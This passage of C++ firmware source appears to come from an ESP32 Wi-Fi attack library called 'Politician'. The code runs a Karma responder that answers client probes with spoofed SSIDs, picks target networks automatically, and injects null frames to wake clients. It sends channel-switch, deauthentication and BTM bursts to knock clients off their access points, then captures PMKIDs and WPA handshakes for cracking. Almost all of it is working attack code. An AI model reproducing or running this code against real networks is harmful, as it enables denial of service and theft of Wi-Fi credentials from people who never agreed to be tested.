747 esp_wifi_80211_tx(WIFI_IF_STA, frame, p, false);
748
749 if (_karmaCb) {
750 KarmaRecord rec;
751 memset(&rec, 0, sizeof(rec));
752 memcpy(rec.client, client, 6);
753 memcpy(rec.ssid, ssid, ssid_len);
754 rec.ssid_len = ssid_len;
755 rec.channel = channel;
756 rec.rssi = rssi;
757 memcpy(rec.ap_mac, ap_mac, 6);
758 _karmaCb(rec);
759 }
760
761 _log("[KARMA] Echoed '%.*s' to %02X:%02X:%02X:%02X:%02X:%02X ch%d\n",
762 ssid_len, ssid,
763 client[0], client[1], client[2], client[3], client[4], client[5], channel);
764}
765#endif // POLITICIAN_NO_KARMA
766
767// ─── tick() ───────────────────────────────────────────────────────────────────
769 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) != pdTRUE) return;
770
771 _processFishing();
772
773 uint32_t nowDiag = millis();
774 if (nowDiag - _lastDiagMs >= 30000) {
775 _lastDiagMs = nowDiag;
776 _log("[Stats] total=%lu mgmt=%lu data=%lu eapol=%lu pmkid=%lu sae=%lu caps=%lu fail_pmkid=%lu fail_csa=%lu drop=%lu rb_max=%lu aps=%d lock=%s\n",
777 (unsigned long)_stats.total, (unsigned long)_stats.mgmt,
778 (unsigned long)_stats.data, (unsigned long)_stats.eapol,
779 (unsigned long)_stats.pmkid_found, (unsigned long)_stats.sae_found,
780 (unsigned long)_stats.captures,
781 (unsigned long)_stats.failed_pmkid, (unsigned long)_stats.failed_csa,
782 (unsigned long)_stats.dropped, (unsigned long)_stats.rb_max,
783 getApCount(),
784 _probeLocked ? "probe" : _m1Locked ? "m1" : "none");
785 }
786
787 _expireSessions(_cfg.session_timeout_ms);
788
789 if (_cfg.ap_expiry_ms > 0) {
790 uint32_t now_ap = millis();
791 for (int i = 0; i < MAX_AP_CACHE; i++) {
792 if (_apCache[i].flags.active && (now_ap - _apCache[i].last_seen_ms) > _cfg.ap_expiry_ms)
793 _apCache[i].flags.active = false;
794 }
795 }
796
797 if (_autoTarget && !_autoTargetActive && _fishState == FISH_IDLE && !_probeLocked && !_m1Locked) {
798 int best = -1; int best_score = -9999;
799 for (int i = 0; i < MAX_AP_CACHE; i++) {
800 if (!_apCache[i].flags.active || _isCaptured(_apCache[i].bssid)) continue;
801 if (_cfg.skip_immune_networks && _apCache[i].flags.is_wpa3_only) continue;
802 if (_apCache[i].enc < 2) continue; // Skip open/WEP
803 if (_cfg.min_beacon_count > 0 && _apCache[i].beacon_count < _cfg.min_beacon_count) continue;
804 if (_cfg.require_active_clients && !_apCache[i].flags.has_active_clients) continue;
805
806 int score = _apCache[i].rssi;
807 if (_targetScoreCb) {
808 ApRecord ap_rec;
809 memcpy(ap_rec.bssid, _apCache[i].bssid, 6);
810 memcpy(ap_rec.ssid, _apCache[i].ssid, 33);
811 ap_rec.ssid_len = _apCache[i].ssid_len;
812 ap_rec.enc = _apCache[i].enc;
813 ap_rec.channel = _apCache[i].channel;
814 ap_rec.rssi = _apCache[i].rssi;
815 ap_rec.wps_enabled = _apCache[i].flags.wps_enabled;
816 ap_rec.pmf_capable = _apCache[i].flags.pmf_capable;
817 ap_rec.pmf_required = _apCache[i].flags.pmf_required;
818 ap_rec.total_attempts = _apCache[i].total_attempts;
819 ap_rec.captured = false; // already checked above
820 ap_rec.ft_capable = _apCache[i].flags.ft_capable;
821 ap_rec.first_seen_ms = _apCache[i].first_seen_ms;
822 ap_rec.last_seen_ms = _apCache[i].last_seen_ms;
823 memcpy(ap_rec.country, _apCache[i].country, 3);
824 ap_rec.beacon_interval = _apCache[i].beacon_interval;
825 ap_rec.max_rate_mbps = _apCache[i].max_rate_mbps;
826 ap_rec.is_hidden = _apCache[i].flags.is_hidden;
827 ap_rec.sta_count = _apCache[i].sta_count;
828 ap_rec.chan_util = _apCache[i].chan_util;
829
830 score = _targetScoreCb(ap_rec, getVendor(ap_rec.bssid));
831 }
832
833 if (score > best_score) { best_score = score; best = i; }
834 }
835 if (best >= 0) {
836 _autoTargetActive = true;
837 setTarget(_apCache[best].bssid, _apCache[best].channel);
838 _log("[AutoTarget] → %02X:%02X:%02X:%02X:%02X:%02X SSID=%s rssi=%d score=%d\n",
839 _apCache[best].bssid[0], _apCache[best].bssid[1], _apCache[best].bssid[2],
840 _apCache[best].bssid[3], _apCache[best].bssid[4], _apCache[best].bssid[5],
841 _apCache[best].ssid, _apCache[best].rssi, best_score);
842 }
843 }
844
845 if (!_hopping) {
846 xSemaphoreGiveRecursive(_lock);
847 return;
848 }
849
850 uint32_t now = millis();
851
852 if (_probeLocked && _fishState == FISH_IDLE && now >= _probeLockEndMs) {
853 _probeLocked = false;
854 _lastHopMs = now;
855 }
856
857 if (_m1Locked && now >= _m1LockEndMs) {
858 _m1Locked = false;
859 _lastHopMs = now;
860 }
861
862 bool locked = _m1Locked || _probeLocked || _hasTarget;
863 uint32_t current_dwell = _cfg.hop_dwell_ms;
864 if (_cfg.smart_hopping && !locked) {
865 // Evaluate early exit or extended dwell
866 if (!_channelTrafficSeen && (now - _lastHopMs >= _cfg.hop_min_dwell_ms)) {
867 current_dwell = _cfg.hop_min_dwell_ms;
868 } else if (_channelTrafficSeen) {
869 current_dwell = _cfg.hop_max_dwell_ms;
870 }
871 }
872
873 if (!locked && (now - _lastHopMs >= current_dwell)) {
874 const uint8_t *seq = (_customChannelCount > 0) ? _customChannels : HOP_SEQ;
875 uint8_t count = (_customChannelCount > 0) ? _customChannelCount : HOP_COUNT;
876 _hopIndex = (_hopIndex + 1) % count;
877 _channel = seq[_hopIndex];
878 esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE);
879 _lastHopMs = now;
880 _channelTrafficSeen = false;
881
882 // Process inject queue for the new channel
883 for (int i = 0; i < MAX_INJECT_QUEUE; i++) {
884 if (_injectQueue[i].active && _injectQueue[i].channel == _channel) {
885 esp_wifi_80211_tx(WIFI_IF_STA, (void*)_injectQueue[i].payload, _injectQueue[i].len, false);
886 _log("[Inject] Transmitted queued %d bytes on ch%d\n", _injectQueue[i].len, _channel);
887 _injectQueue[i].active = false;
888 if (_injectQueue[i].lock_ms > 0) {
889 _m1Locked = true;
890 _m1LockEndMs = millis() + _injectQueue[i].lock_ms;
891 }
892 }
893 }
894 }
895
896 xSemaphoreGiveRecursive(_lock);
897}
898
899// ─── Static promiscuous callback (IRAM) ──────────────────────────────────────
900void IRAM_ATTR Politician::_promiscuousCb(void *buf, wifi_promiscuous_pkt_type_t type) {
901 const wifi_promiscuous_pkt_t *pkt = (const wifi_promiscuous_pkt_t *)buf;
902 uint16_t total_len = sizeof(wifi_pkt_rx_ctrl_t) + pkt->rx_ctrl.sig_len;
903
904 for (uint8_t i = 0; i < POLITICIAN_MAX_INSTANCES; i++) {
905 Politician *inst = _instances[i];
906 if (!inst || !inst->_active || !inst->_rb) continue;
907 if (xRingbufferSendFromISR(inst->_rb, buf, total_len, NULL) != pdTRUE) {
908 inst->_stats.dropped++;
909 }
910 }
911}
912
913void Politician::_workerTask(void *pvParameters) {
914 Politician *self = (Politician *)pvParameters;
915 while (true) {
916 size_t size = 0;
917 wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)xRingbufferReceive(self->_rb, &size, portMAX_DELAY);
918 if (pkt) {
919 // Infer frame type from 802.11 Frame Control field
920 uint16_t fc = pkt->payload[0] | (pkt->payload[1] << 8);
921 wifi_promiscuous_pkt_type_t type = WIFI_PKT_MGMT;
922 if ((fc & 0x0C) == 0x08) type = WIFI_PKT_DATA;
923 else if ((fc & 0x0C) == 0x04) type = WIFI_PKT_CTRL;
924
925 if (self->_lock && xSemaphoreTakeRecursive(self->_lock, portMAX_DELAY) == pdTRUE) {
926 // Monitor ringbuffer high-water mark
927 size_t free_rb = 0;
928 vRingbufferGetInfo(self->_rb, NULL, NULL, NULL, NULL, &free_rb);
929 uint32_t used_rb = 16384 - (uint32_t)free_rb;
930 if (used_rb > self->_stats.rb_max) self->_stats.rb_max = used_rb;
931
932 self->_handleFrame(pkt, type);
933 xSemaphoreGiveRecursive(self->_lock);
934 }
935 vRingbufferReturnItem(self->_rb, (void *)pkt);
936 }
937 }
938}
939
940void Politician::_handleFrame(const wifi_promiscuous_pkt_t *pkt, wifi_promiscuous_pkt_type_t type) {
941 if (!_active) return;
942 if (!pkt) return;
943 uint16_t sig_len = pkt->rx_ctrl.sig_len;
944 if (sig_len < sizeof(ieee80211_hdr_t)) return;
945
946 _stats.total++;
947 _lastRssi = (int8_t)pkt->rx_ctrl.rssi;
948 _rxChannel = pkt->rx_ctrl.channel;
949 if (_rxChannel > 0 && _rxChannel < 200) _stats.channel_frames[_rxChannel]++;
950
951 const ieee80211_hdr_t *hdr = (const ieee80211_hdr_t *)pkt->payload;
952 uint16_t fc = hdr->frame_ctrl;
953 uint16_t ftype = fc & FC_TYPE_MASK;
954 uint8_t fsub = fc & FC_SUBTYPE_MASK;
955
956 // --- Packet Logging Filter Hook ---
957 if (_packetCb && _cfg.capture_filter != 0) {
958 bool log_it = false;
959 if (ftype == FC_TYPE_MGMT) {
960 if (fsub == MGMT_SUB_BEACON && (_cfg.capture_filter & LOG_FILTER_BEACONS)) log_it = true;
961 if ((fsub == MGMT_SUB_PROBE_REQ || fsub == MGMT_SUB_PROBE_RESP) && (_cfg.capture_filter & LOG_FILTER_PROBES)) log_it = true;
962 if (fsub == MGMT_SUB_PROBE_REQ && (_cfg.capture_filter & LOG_FILTER_PROBE_REQ)) log_it = true;
963 if ((fsub == MGMT_SUB_DEAUTH || fsub == MGMT_SUB_DISASSOC) && (_cfg.capture_filter & LOG_FILTER_MGMT_DISRUPT)) log_it = true;
964 } else if (ftype == FC_TYPE_DATA && (_cfg.capture_filter & LOG_FILTER_HANDSHAKES)) {
965 uint16_t hdr_len = sizeof(ieee80211_hdr_t);
966 uint8_t subtype = fsub >> 4;
967 bool is_qos = (subtype >= 8 && subtype <= 11);
968 if (is_qos) {
969 hdr_len += 2;
970 if (fc & FC_ORDER_MASK) hdr_len += 4;
971 }
972 if (sig_len >= hdr_len + EAPOL_MIN_FRAME_LEN) {
973 const uint8_t *llc = pkt->payload + hdr_len;
974 if (llc[0] == 0xAA && llc[1] == 0xAA && llc[2] == 0x03 &&
975 llc[6] == EAPOL_ETHERTYPE_HI && llc[7] == EAPOL_ETHERTYPE_LO) {
976 log_it = true;
977 }
978 }
979 }
980 if (log_it) _packetCb(pkt->payload, sig_len, _lastRssi, _rxChannel, pkt->rx_ctrl.timestamp);
981 }
982 // ----------------------------------
983
984 if (type == WIFI_PKT_MGMT && ftype == FC_TYPE_MGMT) {
985 _stats.mgmt++;
986 uint16_t payload_off = sizeof(ieee80211_hdr_t);
987 if (sig_len > payload_off) {
988 _handleMgmt(hdr, pkt->payload + payload_off, sig_len - payload_off, _lastRssi);
989 }
990 } else if (type == WIFI_PKT_DATA && ftype == FC_TYPE_DATA) {
991 _stats.data++;
992 uint8_t subtype = (fc & FC_SUBTYPE_MASK) >> 4;
993 uint16_t hdr_len = sizeof(ieee80211_hdr_t);
994 bool is_qos = (subtype >= 8 && subtype <= 11);
995 if (is_qos) {
996 hdr_len += 2;
997 if (fc & FC_ORDER_MASK) hdr_len += 4;
998 }
999 if (sig_len > hdr_len) {
1000 _handleData(hdr, pkt->payload + hdr_len, sig_len - hdr_len, _lastRssi);
1001 }
1002 } else {
1003 _stats.ctrl++;
1004 }
1005}
1006
1007void Politician::_handleMgmt(const ieee80211_hdr_t *hdr, const uint8_t *payload,
1008 uint16_t len, int8_t rssi) {
1009 uint8_t subtype = (hdr->frame_ctrl & FC_SUBTYPE_MASK);
1010
1011 if (subtype == MGMT_SUB_PROBE_REQ) {
1012 if (_probeReqCb || _fpHook) {
1013 char fp_ssid[33] = {};
1014 uint8_t fp_ssid_len = 0;
1015 _parseSsid(payload, len, fp_ssid, fp_ssid_len);
1016 if (_probeReqCb) {
1017 ProbeRequestRecord rec;
1018 memset(&rec, 0, sizeof(rec));
1019 memcpy(rec.client, hdr->addr2, 6);
1020 rec.channel = _rxChannel;
1021 rec.rssi = rssi;
1022 rec.rand_mac = (rec.client[0] & 0x02) != 0;
1023 memcpy(rec.ssid, fp_ssid, fp_ssid_len);
1024 rec.ssid_len = fp_ssid_len;
1025 _probeReqCb(rec);
1026 }
1027 if (_fpHook) _fpHook(hdr->addr2, fp_ssid, fp_ssid_len, _rxChannel, rssi, payload, len);
1028 }
1029#ifndef POLITICIAN_NO_KARMA
1030 if (_karmaEnabled) {
1031 char karma_ssid[33] = {};
1032 uint8_t karma_ssid_len = 0;
1033 _parseSsid(payload, len, karma_ssid, karma_ssid_len);
1034 // Only respond to named probes (not wildcard) from non-locally-administered MACs
1035 // (Optionally skip randomized MACs since they won't auto-associate)
1036 if (karma_ssid_len > 0) {
1037 _sendKarmaResponse(hdr->addr2, karma_ssid, karma_ssid_len, _rxChannel, rssi);
1038 }
1039 }
1040#endif
1041 return;
1042 }
1043
1044 if (subtype == MGMT_SUB_DEAUTH || subtype == MGMT_SUB_DISASSOC) {
1045 if (_disruptCb) {
1046 DisruptRecord rec;
1047 memset(&rec, 0, sizeof(rec));
1048 memcpy(rec.src, hdr->addr2, 6);
1049 memcpy(rec.dst, hdr->addr1, 6);
1050 memcpy(rec.bssid, hdr->addr3, 6);
1051 rec.reason = (len >= 2) ? (((uint16_t)payload[0]) | ((uint16_t)payload[1] << 8)) : 0;
1052 rec.subtype = subtype;
1053 rec.channel = _rxChannel;
1054 rec.rssi = rssi;
1055 rec.rand_mac = (rec.src[0] & 0x02) != 0;
1056 _disruptCb(rec);
1057 }
1058 return;
1059 }
1060
1061 // Parse both Beacons and Probe Responses.
1062 // Sniffing Probe Responses automatically enables Active Decloaking
1063 // of Hidden Networks when clients reconnect following a CSA/Deauth attack.
1064 if (subtype == MGMT_SUB_BEACON || subtype == MGMT_SUB_PROBE_RESP) {
1065 _stats.beacons++;
1066 _channelTrafficSeen = true;
1067 if (len < 12) return;
1068
1069 const uint8_t *ie = payload + 12;
1070 uint16_t ie_len = (len > 12) ? len - 12 : 0;
1071
1072 uint8_t beacon_ch = _rxChannel;
1073 {
1074 uint16_t pos = 0;
1075 while (pos + 2 <= ie_len) {
1076 uint8_t tag = ie[pos];
1077 uint8_t tlen = ie[pos + 1];
1078 if (pos + 2 + tlen > ie_len) break;
1079 if (tag == 3 && tlen == 1) { beacon_ch = ie[pos + 2]; break; }
1080 pos += 2 + tlen;
1081 }
1082 }
1083
1084 ApRecord ap;
1085 memcpy(ap.bssid, hdr->addr3, 6);
1086 ap.channel = beacon_ch;
1087 ap.rssi = rssi;
1088 _parseSsid(ie, ie_len, ap.ssid, ap.ssid_len);
1089 ap.enc = _classifyEnc(ie, ie_len);
1090 if (ap.enc == 0 && (hdr->frame_ctrl & 0x4000)) ap.enc = 1; // WEP Privacy bit
1091
1092 // WPS IE: vendor-specific tag 0xDD, OUI 00:50:F2, type 0x04
1093 ap.wps_enabled = false;
1094 {
1095 uint16_t wp = 0;
1096 while (wp + 2 <= ie_len) {
1097 uint8_t wtag = ie[wp], wlen = ie[wp + 1];
1098 if (wp + 2 + wlen > ie_len) break;
1099 if (wtag == 221 && wlen >= 4 &&
1100 ie[wp+2]==0x00 && ie[wp+3]==0x50 && ie[wp+4]==0xF2 && ie[wp+5]==0x04) {
1101 ap.wps_enabled = true; break;
1102 }
1103 wp += 2 + wlen;
1104 }
1105 }
1106
1107 if (ap.rssi < _cfg.min_rssi) return;
1108
1109 if (_fpHook) _fpHook(ap.bssid, ap.ssid, ap.ssid_len, beacon_ch, rssi, ie, ie_len);
1110
1111 // Execute targeting filter
1112 if (_filterCb && !_filterCb(ap)) return;
1113
1114 uint8_t effMask = _getAttackMask(ap.bssid);
1115
1116 bool is_wpa3_only = (ap.enc >= 3) && _detectWpa3Only(ie, ie_len);
1117 bool pmf_capable = false, pmf_required = false;
1118 if (ap.enc >= 3) _detectPmfFlags(ie, ie_len, pmf_capable, pmf_required);
1119 ap.pmf_capable = pmf_capable;
1120 ap.pmf_required = pmf_required;
1121 uint8_t ft_capable = (ap.enc >= 3) && _detectFt(ie, ie_len);
1122 ap.ft_capable = ft_capable;
1123
1124 // BSS Load IE (Tag 11) and Interworking IE (Tag 107)
1125 uint16_t sta_count = 0;
1126 uint8_t chan_util = 0;
1127 uint8_t venue_group = 0;
1128 uint8_t venue_type = 0;
1129 uint8_t network_type = 0;
1130 {
1131 uint16_t pos = 0;
1132 while (pos + 2 <= ie_len) {
1133 uint8_t tag = ie[pos];
1134 uint8_t tlen = ie[pos + 1];
1135 if (pos + 2 + tlen > ie_len) break;
1136 if (tag == 11 && tlen >= 5) {
1137 sta_count = ((uint16_t)ie[pos + 2]) | ((uint16_t)ie[pos + 3] << 8);
1138 chan_util = ie[pos + 4];
1139 } else if (tag == 107 && tlen >= 1) {
1140 network_type = ie[pos + 2] & 0x0F;
1141 if (tlen >= 3) {
1142 venue_group = ie[pos + 3];
1143 venue_type = ie[pos + 4];
1144 }
1145 }
1146 pos += 2 + tlen;
1147 }
1148 }
1149
1150 ap.venue_group = venue_group;
1151 ap.venue_type = venue_type;
1152 ap.network_type = network_type;
1153 ap.captured = _isCaptured(ap.bssid);
1154
1155 ApCacheEntry* entry = _cacheAp(ap.bssid, ap.ssid, ap.ssid_len, ap.enc, beacon_ch, rssi,
1156 is_wpa3_only, ap.wps_enabled, pmf_capable, pmf_required, ft_capable,
1157 sta_count, chan_util, venue_group, venue_type, network_type);
1158
1159 // Parse beacon interval (fixed field bytes 8-9) and max legacy data rate
1160 if (entry) {
1161 uint16_t bint = (len >= 10) ? (((uint16_t)payload[8]) | ((uint16_t)payload[9] << 8)) : 0;
1162 uint8_t maxr = 0;
1163 uint16_t pos = 0;
1164 while (pos + 2 <= ie_len) {
1165 uint8_t tag = ie[pos], tlen = ie[pos + 1];
1166 if (pos + 2 + tlen > ie_len) break;
1167 if (tag == 1 || tag == 50) { // Supported Rates / Extended Supported Rates
1168 for (uint8_t ri = 0; ri < tlen; ri++) {
1169 uint8_t r = (ie[pos + 2 + ri] & 0x7F); // 500 kbps units
1170 if (r > maxr) maxr = r;
1171 }
1172 }
1173 pos += 2 + tlen;
1174 }
1175 if (bint > 0) entry->beacon_interval = bint;
1176 if (maxr > 0) entry->max_rate_mbps = maxr / 2; // convert to Mbps
1177 }
1178
1179 // Parse IE 7 (Country) and store in cache
1180 if (entry) {
1181 uint16_t pos = 0;
1182 while (pos + 2 <= ie_len) {
1183 uint8_t tag = ie[pos], tlen = ie[pos + 1];
1184 if (pos + 2 + tlen > ie_len) break;
1185 if (tag == 7 && tlen >= 2) {
1186 entry->country[0] = ie[pos + 2];
1187 entry->country[1] = ie[pos + 3];
1188 entry->country[2] = '\0';
1189 break;
1190 }
1191 pos += 2 + tlen;
1192 }
1193 }
1194
1195 // VHT/HE capability parsing (IEs 45, 191, 192, 255+ext35)
1196 {
1197 bool is_vht = false;
1198 bool is_he = false;
1199 uint8_t chan_width = 0; // default: 20MHz (pre-HT)
1200 uint16_t pos = 0;
1201 while (pos + 2 <= ie_len) {
1202 uint8_t tag = ie[pos];
1203 uint8_t tlen = ie[pos + 1];
1204 if (pos + 2 + tlen > ie_len) break;
1205 if (tag == 45 && tlen >= 2) {
1206 // HT Capabilities: bit 1 of byte 0 = 40MHz supported
1207 if ((ie[pos + 2] & 0x02) && chan_width < 1) chan_width = 1;
1208 } else if (tag == 191 && tlen >= 4) {
1209 // VHT Capabilities IE: bits 2-3 of byte 0 = Supported Channel Width Set
1210 is_vht = true;
1211 if (chan_width < 2) chan_width = 2; // VHT minimum is 80MHz
1212 uint8_t sup_cw = (ie[pos + 2] >> 2) & 0x03;
1213 if (sup_cw == 1 && chan_width < 3) chan_width = 3; // 160MHz
1214 else if (sup_cw == 2 && chan_width < 4) chan_width = 4; // 80+80MHz
1215 } else if (tag == 192 && tlen >= 3) {
1216 // VHT Operation IE: byte 0 = Channel Width field
1217 if (!is_vht) is_vht = true;
1218 uint8_t vht_op_cw = ie[pos + 2];
1219 if (vht_op_cw == 1 && chan_width < 2) chan_width = 2; // 80MHz
1220 else if (vht_op_cw == 2 && chan_width < 3) chan_width = 3; // 160MHz
1221 else if (vht_op_cw == 3 && chan_width < 4) chan_width = 4; // 80+80MHz
1222 } else if (tag == 255 && tlen >= 1 && ie[pos + 2] == 35) {
1223 // Extended Element: ext ID 35 = HE Capabilities
1224 is_he = true;
1225 }
1226 pos += 2 + tlen;
1227 }
1228 ap.is_vht = is_vht;
1229 ap.is_he = is_he;
1230 ap.chan_width = chan_width;
1231 if (entry) {
1232 entry->flags.is_vht = is_vht;
1233 entry->flags.is_he = is_he;
1234 entry->chan_width = chan_width;
1235 entry->pairwise_cipher = _classifyPairwiseCipher(ie, ie_len);
1236 }
1237 }
1238
1239 // HE (Wi-Fi 6) and VHT + PMF-Required: management frames are MIC-protected;
1240 // deauth and CSA injections will be dropped by the client. Skip those attacks
1241 // and go straight to PMKID fishing + BTM steering.
1242 if (pmf_required && (ap.is_he || ap.is_vht)) {
1243 effMask &= ~(uint8_t)(ATTACK_CSA | ATTACK_DEAUTH);
1244 _log("[Attack] PMF+%s on %02X:%02X:%02X:%02X:%02X:%02X — DEAUTH/CSA suppressed\n",
1245 ap.is_he ? "HE" : "VHT",
1246 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5]);
1247 }
1248
1249 if (_apFoundCb) {
1250 bool threshold_ok = true;
1251 if (_cfg.min_beacon_count > 0 && entry) {
1252 threshold_ok = (entry->beacon_count >= _cfg.min_beacon_count);
1253 }
1254 if (threshold_ok) _apFoundCb(ap);
1255 }
1256
1257 // Execute active probing for hidden networks (wildcard or wordlist)
1258 if (ap.ssid_len == 0 && _cfg.probe_hidden_interval_ms > 0) {
1259 if (entry && (millis() - entry->last_hidden_probe_ms >= _cfg.probe_hidden_interval_ms)) {
1260 entry->last_hidden_probe_ms = millis();
1261 if (_probeWordlist && _probeWordlistLen > 0) {
1262 const char *w = _probeWordlist[entry->probe_word_idx % _probeWordlistLen];
1263 entry->probe_word_idx++;
1264 _sendProbeRequest(ap.bssid, w, (uint8_t)strnlen(w, 32));
1265 } else {
1266 _sendProbeRequest(ap.bssid);
1267 }
1268 }
1269 }
1270
1271 if (ap.ssid_len > 0 && beacon_ch > 0) {
1272 if (_hasTarget && memcmp(_targetBssid, ap.bssid, 6) != 0) return;
1273
1274 // --- CLIENT WAKE-UP STIMULATION ---
1275 if (((hdr->frame_ctrl & FC_SUBTYPE_MASK) == MGMT_SUB_BEACON) && (effMask & ATTACK_STIMULATE)) {
1276 for (int i = 0; i < MAX_AP_CACHE; i++) {
1277 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, ap.bssid, 6) == 0) {
1278 if (!_apCache[i].flags.has_active_clients && (millis() - _apCache[i].last_stimulate_ms > 15000)) {
1279 _apCache[i].last_stimulate_ms = millis();
1280
1281 // Hardware-Level Null Data Injection (FromDS=1, MoreData=1)
1282 // Triggered exactly on the microsecond the sleeping client's radio turns on
1283 uint8_t wake_null[24] = {
1284 0x48, 0x22, 0x00, 0x00, // FC: Null Function, ToDS=0, FromDS=1, MoreData=1
1285 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // DA: Broadcast
1286 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], // BSSID
1287 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], // SA
1288 0x00, 0x00 // Sequence
1289 };
1290 esp_wifi_80211_tx(WIFI_IF_STA, wake_null, sizeof(wake_null), false);
1291 _log("[Stimulate] Beacon-Sync Null Injection fired at %02X:%02X:%02X:%02X:%02X:%02X\n",
1292 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5]);
1293 }
1294 break;
1295 }
1296 }
1297 }
1298 }
1299
1300 bool canFish = ap.enc >= 3 && ap.ssid_len > 0 && !_isCaptured(ap.bssid);
1301 if (_hasTarget) canFish = canFish && memcmp(ap.bssid, _targetBssid, 6) == 0;
1302
1303 if (canFish && _fishState == FISH_IDLE) {
1304 if (effMask & ATTACK_PMKID) {
1305 for (int i = 0; i < MAX_AP_CACHE; i++) {
1306 if (!_apCache[i].flags.active) continue;
1307 if (memcmp(_apCache[i].bssid, ap.bssid, 6) != 0) continue;
1308
1309 if (_cfg.skip_immune_networks && _apCache[i].flags.is_wpa3_only) break;
1310 if (_apCache[i].enc == ENC_OWE) break; // OWE uses DH key exchange — no PMKID to capture
1311 if (_cfg.min_beacon_count > 0 && _apCache[i].beacon_count < _cfg.min_beacon_count) break;
1312 if (_cfg.require_active_clients && !_apCache[i].flags.has_active_clients) break;
1313
1314 // Exponential backoff: double the window per failed attempt, cap at 8 minutes
1315 uint32_t base_ms = _hasTarget ? 0u
1316 : _apCache[i].flags.has_active_clients ? 15000u
1317 : (uint32_t)_cfg.probe_aggr_interval_s * 1000u;
1318 uint8_t att = _apCache[i].total_attempts;
1319 uint32_t throttle_ms = (base_ms == 0u) ? 0u
1320 : (uint32_t)((uint64_t)base_ms << (att < 4u ? att : 4u));
1321 if (throttle_ms > 480000u) throttle_ms = 480000u;
1322 uint32_t elapsed = millis() - _apCache[i].last_probe_ms;
1323 if (elapsed >= throttle_ms) {
1324 _apCache[i].last_probe_ms = millis();
1325 _startFishing(ap.bssid, ap.ssid, ap.ssid_len, beacon_ch);
1326 }
1327 break;
1328 }
1329 } else if (effMask & (ATTACK_CSA | ATTACK_DEAUTH)) {
1330 // Immunity check applies regardless of which attack method is active
1331 for (int i = 0; i < MAX_AP_CACHE; i++) {
1332 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, ap.bssid, 6) == 0) {
1333 if (_cfg.skip_immune_networks && _apCache[i].flags.is_wpa3_only) return;
1334 if (_apCache[i].enc == ENC_OWE) return; // OWE — no capturable handshake
1335 if (_cfg.min_beacon_count > 0 && _apCache[i].beacon_count < _cfg.min_beacon_count) return;
1336 if (_cfg.require_active_clients && !_apCache[i].flags.has_active_clients) return;
1337 break;
1338 }
1339 }
1340 // Find a known STA for unicast deauth — prefer persistent client records
1341 memset(_fishSta, 0, 6);
1342 for (int ci = 0; ci < MAX_AP_CACHE; ci++) {
1343 if (_apCache[ci].flags.active && memcmp(_apCache[ci].bssid, ap.bssid, 6) == 0 && _apCache[ci].known_sta_count > 0) {
1344 memcpy(_fishSta, _apCache[ci].known_stas[0], 6); break;
1345 }
1346 }
1347 static const uint8_t zero_mac[6] = {};
1348 if (memcmp(_fishSta, zero_mac, 6) == 0) {
1349 for (int s = 0; s < MAX_SESSIONS; s++) {
1350 if (_sessions[s].flags.active && _sessions[s].flags.has_m2 && memcmp(_sessions[s].bssid, ap.bssid, 6) == 0) {
1351 memcpy(_fishSta, _sessions[s].sta, 6); break;
1352 }
1353 }
1354 }
1355 memcpy(_fishBssid, ap.bssid, 6); memcpy(_fishSsid, ap.ssid, ap.ssid_len); _fishSsid[ap.ssid_len] = '\0';
1356 _fishSsidLen = ap.ssid_len; _fishChannel = beacon_ch; _fishStartMs = millis();
1357 for (int ci = 0; ci < MAX_AP_CACHE; ci++) {
1358 if (_apCache[ci].flags.active && memcmp(_apCache[ci].bssid, ap.bssid, 6) == 0) {
1359 _apCache[ci].last_attack_ms = _fishStartMs;
1360 break;
1361 }
1362 }
1363 _fishState = FISH_CSA_WAIT;
1364 _csaSecondBurstSent = false;
1365 if (effMask & ATTACK_CSA) _sendCsaBurst();
1366 const uint8_t *known_sta = (memcmp(_fishSta, zero_mac, 6) != 0) ? _fishSta : nullptr;
1367 _csaFallbackMs = 0;
1368 if (_disconnectStrategy == STRATEGY_SIMULTANEOUS) {
1369 if (effMask & ATTACK_DEAUTH) _sendDeauthBurst((effMask & ATTACK_CSA) ? _cfg.csa_deauth_count : _cfg.deauth_burst_count, known_sta);
1370 } else if (_disconnectStrategy == STRATEGY_AUTO_FALLBACK) {
1371 if ((effMask & ATTACK_CSA) && (effMask & ATTACK_DEAUTH)) {
1372 // Trigger fallback Deauth *before* the second CSA burst (which happens at 2000ms)
1373 _csaFallbackMs = millis() + 1000;
1374 } else if (effMask & ATTACK_DEAUTH) {
1375 _sendDeauthBurst(_cfg.deauth_burst_count, known_sta);
1376 }
1377 }
1378 _probeLocked = true; _probeLockEndMs = millis() + _cfg.csa_wait_ms;
1379 _log("[Attack] Starting CSA/Deauth on %02X:%02X:%02X:%02X:%02X:%02X SSID=%.*s ch%d\n",
1380 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], ap.ssid_len, ap.ssid, beacon_ch);
1381 }
1382 // BTM fires independently — can combine with or replace CSA/Deauth
1383 if ((effMask & ATTACK_BTM) && !_isCaptured(ap.bssid)) {
1384 for (int ci = 0; ci < MAX_AP_CACHE; ci++) {
1385 if (_apCache[ci].flags.active && memcmp(_apCache[ci].bssid, ap.bssid, 6) == 0) {
1386 for (int s = 0; s < _apCache[ci].known_sta_count; s++) {
1387 for (int b = 0; b < _cfg.btm_burst_count; b++) {
1388 _sendBtmRequest(ap.bssid, _apCache[ci].known_stas[s]);
1389 }
1390 }
1391 _log("[BTM] Sent %d requests to %d clients on %02X:%02X:%02X:%02X:%02X:%02X\n",
1392 _cfg.btm_burst_count, _apCache[ci].known_sta_count,
1393 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5]);
1394 break;
1395 }
1396 }
1397 }
1398 // ----------------------------------
1399 }
1400 } else if (subtype == MGMT_SUB_ASSOC_REQ) {
